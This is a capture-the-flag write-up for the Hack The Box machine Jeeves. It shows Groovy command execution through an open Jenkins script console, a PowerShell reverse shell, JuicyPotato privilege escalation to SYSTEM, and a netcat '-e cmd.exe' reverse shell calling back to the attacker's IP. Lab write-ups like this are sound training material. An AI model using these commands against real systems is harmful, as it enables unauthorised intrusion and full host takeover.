writeup 2025-12-16 · 7 min read

Hack The Box Jeeves Writeup (Medium Windows)

Medium Windows box. An open Jenkins script console on port 50000 gives a shell as kohsuke, and SeImpersonatePrivilege with JuicyPotato yields SYSTEM.

Hack The Box Jeeves Writeup (Medium Windows)

Summary

Jeeves is a Medium Windows machine whose IIS site on port 80 is a dead end, but a Jetty server on port 50000 hides an /askjeeves path running Jenkins 2.87 with an unauthenticated, wide open script console. A Groovy snippet in that console runs commands as the local user kohsuke, so a base64 PowerShell payload returns a reverse shell. kohsuke holds SeImpersonatePrivilege, and on this Windows 10 build JuicyPotato with a BITS CLSID abuses it to run commands as NT AUTHORITY\SYSTEM, then a netcat binary gives a SYSTEM reverse shell. The root flag is not a plain file: it is hidden in an NTFS alternate data stream on hm.txt on the Administrator desktop, read with dir /r and more < hm.txt:root.txt.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# Nmap 7.93 scan initiated Tue Dec 16 15:03:16 2025 as: nmap -A -vv -oN scans/nmap.initial 10.129.13.249
Nmap scan report for 10.129.13.249
Host is up, received syn-ack (0.21s latency).
Scanned at 2025-12-16 15:03:17 -03 for 63s
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      REASON  VERSION
80/tcp    open  http         syn-ack Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Ask Jeeves
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
445/tcp   open  microsoft-ds syn-ack Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         syn-ack Jetty 9.4.z-SNAPSHOT
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2025-12-16T22:56:40
|_  start_date: 2025-12-16T22:41:19
|_clock-skew: mean: 4h52m59s, deviation: 0s, median: 4h52m59s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 34950/tcp): CLEAN (Timeout)
|   Check 2 (port 49707/tcp): CLEAN (Timeout)
|   Check 3 (port 35600/udp): CLEAN (Timeout)
|   Check 4 (port 9829/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 16 15:04:20 2025 -- 1 IP address (1 host up) scanned in 63.43 seconds

Web Server Enumeration

This is how the home page of web server on port 80 looks like:

Ask Jeeves themed search page served by IIS on port 80

It doesn’t work. This search box is actually posting to “error.html” as you can see on the respective html source code of the webpage:

1
2
3
4
5
6
<form class="form-wrapper cf" action="error.html">
    <div class="byline"><p><a href="#">Web</a>, <a href="#">images</a>, <a href="#">news</a>, and <a href="#">lots of answers</a>.</p></div>
  	<input type="text" placeholder="Search here..." required>
	  <button type="submit">Search</button>
    <div class="byline-bot">Skins</div>
</form>

And this error.html page only shows me a literal PNG file/screenshot of some random error message:

error.html showing a static PNG screenshot of an error message

Jetty

Port 50000 is running Jetty

1
Jetty(9.4.z-SNAPSHOT)

I perform a directory bruteforcing attack:

1
ffuf -u http://10.129.13.249:50000/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -t 25

And it yields a single result:

1
askjeeves               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 189ms]

I access http://10.129.13.249:50000/askjeeves/. It’s a Jenkins instance:

Jenkins login page reached ataskjeeves on port 50000

The footer reveals the exact Jenkins version:

1
Jenkins ver. 2.87

It seems like this instance allows for anonymous usage just fine. I poke around the website and find that the script console is wide open!

Jenkins script console open for anonymous use

I access the script console at http://10.129.13.249:50000/askjeeves/script** **and use the following to have remote code execution:

1
2
3
4
5
6
7
def cmd = "whoami"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout"
println "err> $serr"

It seems like Jenkins is being ran by local user “kohsuke”:

Groovy script console command showing Jenkins runs as the kohsuke user

Initial Access - Jenking Script Console

I head to revshells.com and get a Powershell base64 encoded payload:

revshells.com generating the base64 PowerShell reverse shell payload

Start a netcat listener on port 1234:

1
rlwrap nc -lvnp 1234

I use this payload to run the following script to get a reverse shell:

1
2
3
4
5
6
7
def cmd = "cmd.exe /c powershell -e <base64-blob>"
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout"
println "err> $serr"

I immediately get a connection back. Now I have a reverse shell on the victim machine as “kohsuke”:

netcat listener catching the reverse shell as kohsuke

Post-Exploitation

I can read everything related to the Jenkins installation now.

With that I could log in to Jenkins as admin:

Jenkins dashboard logged in as admin

Vertical Privilege Escalation

I run a whoami /priv to see my user’s privileges:

whoamipriv output showing SeImpersonatePrivilege enabled for kohsuke

From the output above I can see that the user has SeImpersonatePrivilege token enabled. This is a well-known privilege escalation vector.

I run a “systeminfo” command to see more information about the OS:

1
2
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.10586 N/A Build 10586

I want this information because the **SeImpersonatePrivilege **token can be abused with a plethora of different Potato exploits, like, look at how many Potatoes I have just right now in my machine:

1
2
3
4
5
6
7
8
user@attackbox:~/hacking/tools$ ls | grep -i potato 
JuicyPotato.exe
JuicyPotatoNG.exe
MSFRottenPotato.exe
RemotePotato0.exe
RoguePotato.exe
SigmaPotatoCore.exe
SigmaPotato.exe

So I need to choose the proper one based on the current environment. I’m going with JuicyPotato. I download it to my attacking machine, then set up a python web server:

1
sudo python3 -m http.server 80

And use the reverse shell connection to the victim as “kohsuke” to download it (not the best opsec-conscious approach):

1
iwr 10.10.14.57/JuicyPotato.exe

Here you can find a Windows CLSID list. I’m using the list for Windows 10 pro specifically (the OS version of the victim machine).

There are plenty of options, but the ones for BITS are the most reliable from what I’ve seen:

ohpe CLSID list highlighting the BITS entries for Windows 10 Pro

More specifically:

1
2
3
4
5
6
{6d18ad12-bde3-4393-b311-099c346e6df9}
{bb6df56b-cace-11dc-9992-0019b93a3a84}
{69AD4AEE-51BE-439b-A92C-86AE490E8B30}
{4991d34b-80a1-4291-83b6-3328366b9097}
{659cdea7-489e-11d9-a9cd-000d56965251}
{1ecca34c-e88a-44e3-8d6a-8921bde9e452}

So I craft my JuicyPotato command like this:

1
.\JuicyPotato.exe -p c:\windows\system32\cmd.exe -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -l 7331 -a "/c whoami" -t *

I run it, and as you can see from the screenshot below, it works and now I have command execution in the context of NT AUTHORITY\SYSTEM:

JuicyPotato command returning command execution as NT AUTHORITY SYSTEM

I got a nc64.exe pre-compiled binary from this github repository. I did transfer this binary to the victim machine by using the python http server method described just now. I saved it to “nc.exe” on the victim.

Start netcat on my machine:

1
rlwrap nc -lvnp 9999

Then I used the following JuicyPotato command on the victim to obtain a reverse shell:

1
.\JuicyPotato.exe -p c:\windows\system32\cmd.exe -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -l 7331 -a "/c C:\users\kohsuke\nc.exe 10.10.14.57 9999 -e cmd.exe" -t *

You can visualize the exploitation in the screenshot below (the victim is on the left and my attacking machine is on the right):

JuicyPotato reverse shell as SYSTEM with the attacker machine alongside

I go to Administrator’s desktop to retrieve the root flag, but there’s only a file named “hm.txt” in there:

Administrator desktop containing only an hm.txt file

This got me tripping. New technique learned, I guess.

Alternate Data Streams (ADS) in Windows allow a single file to contain multiple streams of data, which can store additional information without altering the main file content. This feature is part of the NTFS file system and can be used for legitimate purposes, but it can also be exploited to hide malicious content.

I can read the alternate data stream with:

1
powershell get-item -path hm.txt -stream *

Or even:

1
dir /r

As you can see from the screenshot below, there’s root.txt attached to this file:

dirr revealing root.txt hidden in an alternate data stream on hm.txt

Then run:

1
more < hm.txt:root.txt

To extract the contents of this alternate data stream.

This post is licensed under CC BY 4.0 by the author.